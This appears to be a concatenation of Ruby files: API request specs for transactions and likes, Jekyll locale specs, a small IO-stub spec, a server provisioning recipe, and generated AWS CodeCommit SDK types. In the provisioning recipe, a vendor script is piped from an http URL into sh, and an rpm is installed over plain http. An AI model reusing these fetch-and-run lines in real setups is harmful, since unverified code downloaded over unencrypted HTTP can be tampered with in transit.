'image-content-type': nil,
'image-file-size': nil,
'image-updated-at': nil
},
relationships: {
sender: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/sender",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/sender"
}
},
receiver: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/receiver",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/receiver"
}
},
balance: {
links: {
self: "http://www.example.com/api/v2/transactions/#{assigned_id}/relationships/balance",
related: "http://www.example.com/api/v2/transactions/#{assigned_id}/balance"
}
}
}
}
}.with_indifferent_access
expect(json).to eq(expected)
end
it 'creates a transaction with the right sender name' do
expect(Transaction.last.sender.name).to eq(sender.name)
end
it 'creates a transaction in the right team' do
expect(Transaction.last.team_id).to eq(team.id)
end
expect_status_201_created
end
end
context 'with an invalid api-token' do
let(:application) { create(:application) }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
before do
post request,
headers: {
'Authorization': 'Invalid token',
'Content-Type': 'application/vnd.api+json'
},
params: {
data: {
type: 'transactions',
attributes: {
amount: transaction.amount,
activity: transaction.activity.name
},
relationships: {
receiver: {
data: {
type: 'users',
name: receiver.name
}
}
}
}
}.to_json
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
before do
post request,
headers: {
'Content-Type': 'application/vnd.api+json'
},
params: {
data: {
data: {
type: 'transactions',
attributes: {
amount: transaction.amount,
activity: transaction.activity.name
},
relationships: {
receiver: {
data: {
type: 'users',
name: receiver.name
}
}
}
}
}
}.to_json
end
expect_transaction_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
describe 'PUT api/v2/transactions/:id/like' do
let(:application) { create(:application) }
let(:team) { create :team }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
let! (:transaction) { create(:transaction, team_id: team.id) }
let (:default_vote_flag) { true }
let (:default_vote_scope) { nil }
let (:default_vote_weight) { 1 }
let (:invalid_transaction_id) { -1 }
let (:invalid_user_id) { -1 }
context 'with a valid api-token' do
context 'and a valid transaction id' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
team.add_member(user)
put request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/vnd.api+json',
'Team': team.id
}
end
it 'persists the vote' do
created_vote = Vote.find_by(votable_id: transaction.id, voter_id: user.id)
expect(created_vote.votable_type).to eq(transaction.class.name)
expect(created_vote.votable_id).to eq(transaction.id)
expect(created_vote.voter_type).to eq(user.class.name)
expect(created_vote.voter_id).to eq(user.id)
expect(created_vote.vote_flag).to eq(default_vote_flag)
expect(created_vote.vote_scope).to eq(default_vote_scope)
expect(created_vote.vote_weight).to eq(default_vote_weight)
end
expect_vote_count_increase
it 'returns the successfully liked response' do
expected =
{
data: {
title: 'Successfully liked successfully',
detail: "The transaction record identified by id #{transaction.id} was liked successfully."
}
}.with_indifferent_access
expect(json).to eq(expected)
end
expect_status_200_ok
end
context 'an an invalid transaction id' do
let (:request) { "/api/v2/transactions/#{invalid_transaction_id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
put request, format: :json, access_token: token.token
end
expect_transaction_record_not_found_response
expect_vote_count_same
expect_status_404_not_found
end
end
context 'with an invalid api-token' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
put request, format: :json, access_token: 'Invalid token'
end
expect_vote_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
put request
end
expect_vote_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
describe 'DELETE api/v2/transactions/:id/like' do
let(:application) { create(:application) }
let(:team) { create :team }
let(:user) { create(:user) }
let(:token) do
Doorkeeper::AccessToken.create! application_id: application.id,
resource_owner_id: user.id
end
let! (:transaction) { create(:transaction, team_id: team.id) }
let!(:vote) do
create(:vote, votable_type: 'Transaction', votable_id: transaction.id, voter_type: 'User', voter_id: user.id)
end
let (:invalid_transaction_id) { -1 }
let (:invalid_user_id) { -1 }
context 'with a valid api-token' do
context 'and a valid transaction id' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
team.add_member(user)
delete request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/vnd.api+json',
'Team': team.id
}
end
it "deletes the vote associated with the transaction and user id's" do
expect { Vote.find(vote.id) }.to raise_error(ActiveRecord::RecordNotFound)
end
expect_vote_count_decrease
it 'returns the successfully unliked response' do
expected =
{
data: {
title: 'Successfully unliked successfully',
detail: "The transaction record identified by id #{transaction.id} was unliked successfully."
}
}.with_indifferent_access
expect(json).to eq(expected)
end
expect_status_200_ok
end
context 'an an invalid transaction id' do
let (:request) { "/api/v2/transactions/#{invalid_transaction_id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
delete request, headers: {
'Authorization': "Bearer #{token.token}",
'Content-Type': 'application/vnd.api+json',
'Team': team.id
}
end
expect_transaction_record_not_found_response
expect_vote_count_same
expect_status_404_not_found
end
end
context 'with an invalid api-token' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
delete request, format: :json, access_token: 'Invalid token'
end
expect_vote_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
context 'without an api-token' do
let (:request) { "/api/v2/transactions/#{transaction.id}/like" }
let! (:record_count_before_request) { Vote.count }
before do
delete request
end
expect_vote_count_same
expect_unauthorized_response
expect_status_401_unauthorized
end
end
end
| 34.396552 | 115 | 0.523074 |
e256d777f01098795e732ade72c21f3caefbf0e0 | 5,987 | # frozen_string_literal: true
RSpec.describe Jekyll::Locale::Document do
let(:collection) { "posts" }
let(:doc_name) { "2018-10-15-hello-world.md" }
let(:locale_id) { "en" }
let(:metadata) { {} }
let(:locale) { Jekyll::Locale::Identity.new(locale_id, metadata) }
let(:locales_set) { %w(fr en ja) }
let(:config) do
{
"title" => "Localization Test",
"localization" => {
"locale" => locale_id,
"locales_set" => locales_set,
},
}
end
let(:site) { make_site(config) }
let(:canon) { make_canon_document(site, doc_name, collection) }
subject { described_class.new(canon, locale) }
before do
make_page_file("_locales/#{locale}/_posts/#{doc_name}", :content => "Hello World")
make_page_file("_locales/fr/_posts/#{doc_name}", :content => "Hello World")
make_page_file("_locales/ja/_posts/#{doc_name}", :content => "Hello World")
end
after do
content_dir = source_dir("_locales")
FileUtils.rm_rf(content_dir) if File.directory?(content_dir)
end
it "returns the custom inspect string" do
expect(subject.inspect).to eql(
"#<Jekyll::Locale::Document @canon=#{canon.inspect} @locale=#{locale.inspect}>"
)
end
it "returns the 'locale identity' object" do
expect(subject.locale).to eql(locale)
expect(subject.locale.id).to eql("en")
end
it "equals the 'cleaned_relative_path' attribute with its canonical document" do
expect(subject.cleaned_relative_path).to eql(canon.cleaned_relative_path)
end
it "matches the 'relative_path' attribute with its canonical document" do
expect(subject.relative_path).to eql(File.join("_locales", "en", canon.relative_path))
end
it "matches the 'url' attribute with its canonical document by default" do
expect(subject.url).to eql(File.join("", "en", canon.url))
end
it "returns drop data for Liquid templates" do
subject.content ||= "Random content"
expect(subject.to_liquid.class.name).to eql("Jekyll::Drops::DocumentDrop")
drop_data = JSON.parse(subject.to_liquid.to_json)
drop_data.delete("date")
expect(drop_data).to eql(
"categories" => [],
"collection" => "posts",
"content" => "Hello World\n{{ page.url }}\n\n{{ 'now' | localize_date }}\n",
"draft" => false,
"excerpt" => "<p>Hello World\n/en/2018/10/15/hello-world.html</p>\n\n",
"ext" => ".md",
"foo" => "bar",
"id" => "/en/2018/10/15/hello-world",
"layout" => "none",
"meta" => "locale_post",
"next" => nil,
"output" => nil,
"path" => "_locales/en/_posts/2018-10-15-hello-world.md",
"previous" => nil,
"relative_path" => "_locales/en/_posts/2018-10-15-hello-world.md",
"slug" => "hello-world",
"tags" => [],
"title" => "Hello World",
"url" => "/en/2018/10/15/hello-world.html"
)
end
it "returns hreflang and locale_sibling data for Liquid templates" do
site.process
hreflangs = [
{ "locale" => { "id" => "en" }, "url" => "/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "fr" }, "url" => "/fr/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
canon = site.documents.find do |doc|
doc.is_a?(Jekyll::Document) && doc.url == "/2018/10/15/hello-world.html"
end
expect(canon.hreflangs).to eql(hreflangs)
expect(canon.locale_siblings).to eql(
[
{ "locale" => { "id" => "fr" }, "url" => "/fr/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
)
locale_post = site.documents.find do |doc|
doc.is_a?(described_class) && doc.url == "/fr/2018/10/15/hello-world.html"
end
expect(locale_post.hreflangs).to eql(hreflangs)
expect(locale_post.locale_siblings).to eql(
[
{ "locale" => { "id" => "en" }, "url" => "/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
)
end
# rubocop:disable Metrics/LineLength
context "with locale metadata via locales_set configuration" do
let(:locales_set) do
{
"fr" => { "label" => "Français" },
"en" => { "label" => "English" },
"ja" => { "label" => "日本語" },
}
end
it "returns hreflang and locale_sibling data for Liquid templates" do
site.process
hreflangs = [
{ "locale" => { "id" => "en", "label" => "English" }, "url" => "/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "fr", "label" => "Français" }, "url" => "/fr/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja", "label" => "日本語" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
canon = site.documents.find do |doc|
doc.is_a?(Jekyll::Document) && doc.url == "/2018/10/15/hello-world.html"
end
expect(canon.hreflangs).to eql(hreflangs)
expect(canon.locale_siblings).to eql(
[
{ "locale" => { "id" => "fr", "label" => "Français" }, "url" => "/fr/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja", "label" => "日本語" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
)
locale_post = site.documents.find do |doc|
doc.is_a?(described_class) && doc.url == "/fr/2018/10/15/hello-world.html"
end
expect(locale_post.hreflangs).to eql(hreflangs)
expect(locale_post.locale_siblings).to eql(
[
{ "locale" => { "id" => "en", "label" => "English" }, "url" => "/2018/10/15/hello-world.html" },
{ "locale" => { "id" => "ja", "label" => "日本語" }, "url" => "/ja/2018/10/15/hello-world.html" },
]
)
end
end
# rubocop:enable Metrics/LineLength
end
| 37.186335 | 110 | 0.559713 |
3960feb6de879346207c33bf7a973cb5d36bf290 | 982 | require 'fragmenter/dummy_io'
describe Fragmenter::DummyIO do
it 'provies IO like access' do
io = Fragmenter::DummyIO.new
expect(io).to respond_to(:read)
expect(io).to respond_to(:length)
end
describe '#content_type' do
it 'defaults to application/octet-stream' do
expect(Fragmenter::DummyIO.new.content_type).to eq('application/octet-stream')
end
it 'can be overridden' do
io = Fragmenter::DummyIO.new
io.content_type = 'image/png'
expect(io.content_type).to eq('image/png')
end
end
describe '#original_filename' do
it 'defaults to a fake mime comprised of dummy and the content type' do
io = Fragmenter::DummyIO.new
io.content_type = 'image/png'
expect(io.original_filename).to eq('dummy.png')
end
it 'can be overriden' do
io = Fragmenter::DummyIO.new
io.original_filename = 'wonderful.png'
expect(io.original_filename).to eq('wonderful.png')
end
end
end
| 24.55 | 84 | 0.676171 |
87a6703e16a6d582208c0a94ea00c482d38dcd4a | 2,969 | require 'shellwords'
# TODO: disable selinux
### rbenv
include_recipe 'rbenv::system'
execute 'add rbenv config' do
command %(
echo '
export RBENV_ROOT=/usr/local/rbenv
export PATH="${RBENV_ROOT}/bin:${PATH}"
eval "$(rbenv init -)"
' >> /etc/bashrc
)
not_if 'grep RBENV_ROOT /etc/bashrc'
end
### memcached
package 'memcached'
service 'memcached' do
action [:enable, :start]
end
template '/etc/sysconfig/memcached' do
source 'templates/memcached.erb'
notifies :restart, 'service[memcached]'
end
### chrony (yet another ntpd)
package 'chrony'
template '/etc/chrony.conf' do
source 'templates/chrony.conf.erb'
notifies :restart, 'service[chronyd]'
owner 'chrony'
group 'chrony'
mode '644'
end
service 'chronyd' do
action [:enable, :start]
end
### nginx
template '/etc/yum.repos.d/nginx.repo' do
source 'templates/nginx.repo.erb'
end
package 'nginx'
service 'nginx' do
action [:enable, :start]
end
# TODO: add nginx config
### mysqld
execute 'install mysql-community-release rpm' do
command 'rpm -ivh http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm'
not_if 'rpm -q mysql-community-release'
end
package 'mysql-community-server'
service 'mysqld' do
action [:enable, :start]
end
### redis-server
package 'epel-release'
package 'redis'
service 'redis' do
action [:enable, :start]
end
template '/etc/redis.conf' do
source 'templates/redis.conf.erb'
mode '600'
owner 'redis'
group 'redis'
notifies :restart, 'service[redis]'
end
### elasticsearch
package 'java-1.8.0-openjdk'
execute 'import elasticsearch GPG-KEY' do
command 'rpm --import https://packages.elasticsearch.org/GPG-KEY-elasticsearch'
not_if 'rpm -q elasticsearch'
end
template '/etc/yum.repos.d/elasticsearch.repo' do
source 'templates/elasticsearch.repo.erb'
end
template '/etc/yum.repos.d/logstash.repo' do
source 'templates/logstash.repo.erb'
end
package 'elasticsearch'
service 'elasticsearch' do
action [:enable, :start]
end
package 'logstash'
# TODO: elasticsearch config
### kibana4
# FIXME: kibana4 user
directory '/opt/kibana4' do
action :create
owner node.kibana.owner
group node.kibana.group
end
execute 'download kibana4...' do
command 'curl https://download.elastic.co/kibana/kibana/kibana-4.0.2-linux-x64.tar.gz > /tmp/kibana-4.0.2-linux-x64.tar.gz'
not_if 'ls -1 /opt/kibana4 | grep bin'
end
execute 'extract kibana4' do
command 'tar xf /tmp/kibana-4.0.2-linux-x64.tar.gz -C /opt/kibana4 --strip=1'
not_if 'ls -1 /opt/kibana4 | grep bin'
end
execute 'chown kibana4' do
command "chown -R #{node.kibana.owner}:#{node.kibana.group} /opt/kibana4"
not_if "ls -l /opt/kibana4 | grep #{node.kibana.owner}"
end
### td-agent
execute 'install td-agent' do
command 'curl -L http://toolbelt.treasuredata.com/sh/install-redhat-td-agent2.sh | sh'
not_if 'rpm -q td-agent'
end
service 'td-agent' do
action [:enable, :start]
end
# TODO: install fluentd plugins
# TODO: fluentd config
| 20.060811 | 125 | 0.715392 |
21a210775349f2b23db3cccda8bf964506c974ee | 78 | module SmartAnswer
module Question
class Value < Base
end
end
end
| 11.142857 | 22 | 0.692308 |
1de0bae326b1e3fd91b74cc218172ae560565b9f | 289,985 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::CodeCommit
module Types
# The specified Amazon Resource Name (ARN) does not exist in the AWS
# account.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ActorDoesNotExistException AWS API Documentation
#
class ActorDoesNotExistException < Aws::EmptyStructure; end
# Returns information about a specific approval on a pull request.
#
# @!attribute [rw] user_arn
# The Amazon Resource Name (ARN) of the user.
# @return [String]
#
# @!attribute [rw] approval_state
# The state of the approval, APPROVE or REVOKE. REVOKE states are not
# stored.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Approval AWS API Documentation
#
class Approval < Struct.new(
:user_arn,
:approval_state)
SENSITIVE = []
include Aws::Structure
end
# Returns information about an approval rule.
#
# @!attribute [rw] approval_rule_id
# The system-generated ID of the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_name
# The name of the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_content
# The content of the approval rule.
# @return [String]
#
# @!attribute [rw] rule_content_sha_256
# The SHA-256 hash signature for the content of the approval rule.
# @return [String]
#
# @!attribute [rw] last_modified_date
# The date the approval rule was most recently changed, in timestamp
# format.
# @return [Time]
#
# @!attribute [rw] creation_date
# The date the approval rule was created, in timestamp format.
# @return [Time]
#
# @!attribute [rw] last_modified_user
# The Amazon Resource Name (ARN) of the user who made the most recent
# changes to the approval rule.
# @return [String]
#
# @!attribute [rw] origin_approval_rule_template
# The approval rule template used to create the rule.
# @return [Types::OriginApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRule AWS API Documentation
#
class ApprovalRule < Struct.new(
:approval_rule_id,
:approval_rule_name,
:approval_rule_content,
:rule_content_sha_256,
:last_modified_date,
:creation_date,
:last_modified_user,
:origin_approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# The content for the approval rule is empty. You must provide some
# content for an approval rule. The content cannot be null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleContentRequiredException AWS API Documentation
#
class ApprovalRuleContentRequiredException < Aws::EmptyStructure; end
# The specified approval rule does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleDoesNotExistException AWS API Documentation
#
class ApprovalRuleDoesNotExistException < Aws::EmptyStructure; end
# Returns information about an event for an approval rule.
#
# @!attribute [rw] approval_rule_name
# The name of the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_id
# The system-generated ID of the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_content
# The content of the approval rule.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleEventMetadata AWS API Documentation
#
class ApprovalRuleEventMetadata < Struct.new(
:approval_rule_name,
:approval_rule_id,
:approval_rule_content)
SENSITIVE = []
include Aws::Structure
end
# An approval rule with that name already exists. Approval rule names
# must be unique within the scope of a pull request.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleNameAlreadyExistsException AWS API Documentation
#
class ApprovalRuleNameAlreadyExistsException < Aws::EmptyStructure; end
# An approval rule name is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleNameRequiredException AWS API Documentation
#
class ApprovalRuleNameRequiredException < Aws::EmptyStructure; end
# Returns information about an override event for approval rules for a
# pull request.
#
# @!attribute [rw] revision_id
# The revision ID of the pull request when the override event
# occurred.
# @return [String]
#
# @!attribute [rw] override_status
# The status of the override event.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleOverriddenEventMetadata AWS API Documentation
#
class ApprovalRuleOverriddenEventMetadata < Struct.new(
:revision_id,
:override_status)
SENSITIVE = []
include Aws::Structure
end
# Returns information about an approval rule template.
#
# @!attribute [rw] approval_rule_template_id
# The system-generated ID of the approval rule template.
# @return [String]
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template.
# @return [String]
#
# @!attribute [rw] approval_rule_template_description
# The description of the approval rule template.
# @return [String]
#
# @!attribute [rw] approval_rule_template_content
# The content of the approval rule template.
# @return [String]
#
# @!attribute [rw] rule_content_sha_256
# The SHA-256 hash signature for the content of the approval rule
# template.
# @return [String]
#
# @!attribute [rw] last_modified_date
# The date the approval rule template was most recently changed, in
# timestamp format.
# @return [Time]
#
# @!attribute [rw] creation_date
# The date the approval rule template was created, in timestamp
# format.
# @return [Time]
#
# @!attribute [rw] last_modified_user
# The Amazon Resource Name (ARN) of the user who made the most recent
# changes to the approval rule template.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplate AWS API Documentation
#
class ApprovalRuleTemplate < Struct.new(
:approval_rule_template_id,
:approval_rule_template_name,
:approval_rule_template_description,
:approval_rule_template_content,
:rule_content_sha_256,
:last_modified_date,
:creation_date,
:last_modified_user)
SENSITIVE = []
include Aws::Structure
end
# The content for the approval rule template is empty. You must provide
# some content for an approval rule template. The content cannot be
# null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplateContentRequiredException AWS API Documentation
#
class ApprovalRuleTemplateContentRequiredException < Aws::EmptyStructure; end
# The specified approval rule template does not exist. Verify that the
# name is correct and that you are signed in to the AWS Region where the
# template was created, and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplateDoesNotExistException AWS API Documentation
#
class ApprovalRuleTemplateDoesNotExistException < Aws::EmptyStructure; end
# The approval rule template is associated with one or more
# repositories. You cannot delete a template that is associated with a
# repository. Remove all associations, and then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplateInUseException AWS API Documentation
#
class ApprovalRuleTemplateInUseException < Aws::EmptyStructure; end
# You cannot create an approval rule template with that name because a
# template with that name already exists in this AWS Region for your AWS
# account. Approval rule template names must be unique.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplateNameAlreadyExistsException AWS API Documentation
#
class ApprovalRuleTemplateNameAlreadyExistsException < Aws::EmptyStructure; end
# An approval rule template name is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalRuleTemplateNameRequiredException AWS API Documentation
#
class ApprovalRuleTemplateNameRequiredException < Aws::EmptyStructure; end
# Returns information about a change in the approval state for a pull
# request.
#
# @!attribute [rw] revision_id
# The revision ID of the pull request when the approval state changed.
# @return [String]
#
# @!attribute [rw] approval_status
# The approval status for the pull request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalStateChangedEventMetadata AWS API Documentation
#
class ApprovalStateChangedEventMetadata < Struct.new(
:revision_id,
:approval_status)
SENSITIVE = []
include Aws::Structure
end
# An approval state is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ApprovalStateRequiredException AWS API Documentation
#
class ApprovalStateRequiredException < Aws::EmptyStructure; end
# @note When making an API call, you may pass AssociateApprovalRuleTemplateWithRepositoryInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# repository_name: "RepositoryName", # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name for the approval rule template.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository that you want to associate with the
# template.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/AssociateApprovalRuleTemplateWithRepositoryInput AWS API Documentation
#
class AssociateApprovalRuleTemplateWithRepositoryInput < Struct.new(
:approval_rule_template_name,
:repository_name)
SENSITIVE = []
include Aws::Structure
end
# The specified Amazon Resource Name (ARN) does not exist in the AWS
# account.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/AuthorDoesNotExistException AWS API Documentation
#
class AuthorDoesNotExistException < Aws::EmptyStructure; end
# Returns information about errors in a
# BatchAssociateApprovalRuleTemplateWithRepositories operation.
#
# @!attribute [rw] repository_name
# The name of the repository where the association was not made.
# @return [String]
#
# @!attribute [rw] error_code
# An error code that specifies whether the repository name was not
# valid or not found.
# @return [String]
#
# @!attribute [rw] error_message
# An error message that provides details about why the repository name
# was not found or not valid.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchAssociateApprovalRuleTemplateWithRepositoriesError AWS API Documentation
#
class BatchAssociateApprovalRuleTemplateWithRepositoriesError < Struct.new(
:repository_name,
:error_code,
:error_message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass BatchAssociateApprovalRuleTemplateWithRepositoriesInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# repository_names: ["RepositoryName"], # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the template you want to associate with one or more
# repositories.
# @return [String]
#
# @!attribute [rw] repository_names
# The names of the repositories you want to associate with the
# template.
#
# <note markdown="1"> The length constraint limit is for each string in the array. The
# array itself can be empty.
#
# </note>
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchAssociateApprovalRuleTemplateWithRepositoriesInput AWS API Documentation
#
class BatchAssociateApprovalRuleTemplateWithRepositoriesInput < Struct.new(
:approval_rule_template_name,
:repository_names)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] associated_repository_names
# A list of names of the repositories that have been associated with
# the template.
# @return [Array<String>]
#
# @!attribute [rw] errors
# A list of any errors that might have occurred while attempting to
# create the association between the template and the repositories.
# @return [Array<Types::BatchAssociateApprovalRuleTemplateWithRepositoriesError>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchAssociateApprovalRuleTemplateWithRepositoriesOutput AWS API Documentation
#
class BatchAssociateApprovalRuleTemplateWithRepositoriesOutput < Struct.new(
:associated_repository_names,
:errors)
SENSITIVE = []
include Aws::Structure
end
# Returns information about errors in a BatchDescribeMergeConflicts
# operation.
#
# @!attribute [rw] file_path
# The path to the file.
# @return [String]
#
# @!attribute [rw] exception_name
# The name of the exception.
# @return [String]
#
# @!attribute [rw] message
# The message provided by the exception.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDescribeMergeConflictsError AWS API Documentation
#
class BatchDescribeMergeConflictsError < Struct.new(
:file_path,
:exception_name,
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass BatchDescribeMergeConflictsInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# destination_commit_specifier: "CommitName", # required
# source_commit_specifier: "CommitName", # required
# merge_option: "FAST_FORWARD_MERGE", # required, accepts FAST_FORWARD_MERGE, SQUASH_MERGE, THREE_WAY_MERGE
# max_merge_hunks: 1,
# max_conflict_files: 1,
# file_paths: ["Path"],
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# next_token: "NextToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the merge conflicts you
# want to review.
# @return [String]
#
# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] source_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] merge_option
# The merge option or strategy you want to use to merge the code.
# @return [String]
#
# @!attribute [rw] max_merge_hunks
# The maximum number of merge hunks to include in the output.
# @return [Integer]
#
# @!attribute [rw] max_conflict_files
# The maximum number of files to include in the output.
# @return [Integer]
#
# @!attribute [rw] file_paths
# The path of the target files used to describe the conflicts. If not
# specified, the default is all conflict files.
# @return [Array<String>]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] next_token
# An enumeration token that, when provided in a request, returns the
# next batch of the results.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDescribeMergeConflictsInput AWS API Documentation
#
class BatchDescribeMergeConflictsInput < Struct.new(
:repository_name,
:destination_commit_specifier,
:source_commit_specifier,
:merge_option,
:max_merge_hunks,
:max_conflict_files,
:file_paths,
:conflict_detail_level,
:conflict_resolution_strategy,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] conflicts
# A list of conflicts for each file, including the conflict metadata
# and the hunks of the differences between the files.
# @return [Array<Types::Conflict>]
#
# @!attribute [rw] next_token
# An enumeration token that can be used in a request to return the
# next batch of the results.
# @return [String]
#
# @!attribute [rw] errors
# A list of any errors returned while describing the merge conflicts
# for each file.
# @return [Array<Types::BatchDescribeMergeConflictsError>]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the destination commit specifier that was used in
# the merge evaluation.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The commit ID of the source commit specifier that was used in the
# merge evaluation.
# @return [String]
#
# @!attribute [rw] base_commit_id
# The commit ID of the merge base.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDescribeMergeConflictsOutput AWS API Documentation
#
class BatchDescribeMergeConflictsOutput < Struct.new(
:conflicts,
:next_token,
:errors,
:destination_commit_id,
:source_commit_id,
:base_commit_id)
SENSITIVE = []
include Aws::Structure
end
# Returns information about errors in a
# BatchDisassociateApprovalRuleTemplateFromRepositories operation.
#
# @!attribute [rw] repository_name
# The name of the repository where the association with the template
# was not able to be removed.
# @return [String]
#
# @!attribute [rw] error_code
# An error code that specifies whether the repository name was not
# valid or not found.
# @return [String]
#
# @!attribute [rw] error_message
# An error message that provides details about why the repository name
# was either not found or not valid.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/BatchDisassociateApprovalRuleTemplateFromRepositoriesError AWS API Documentation
#
class BatchDisassociateApprovalRuleTemplateFromRepositoriesError < Struct.new(
:repository_name,
:error_code,
:error_message)
SENSITIVE = []
include Aws::Structure
end
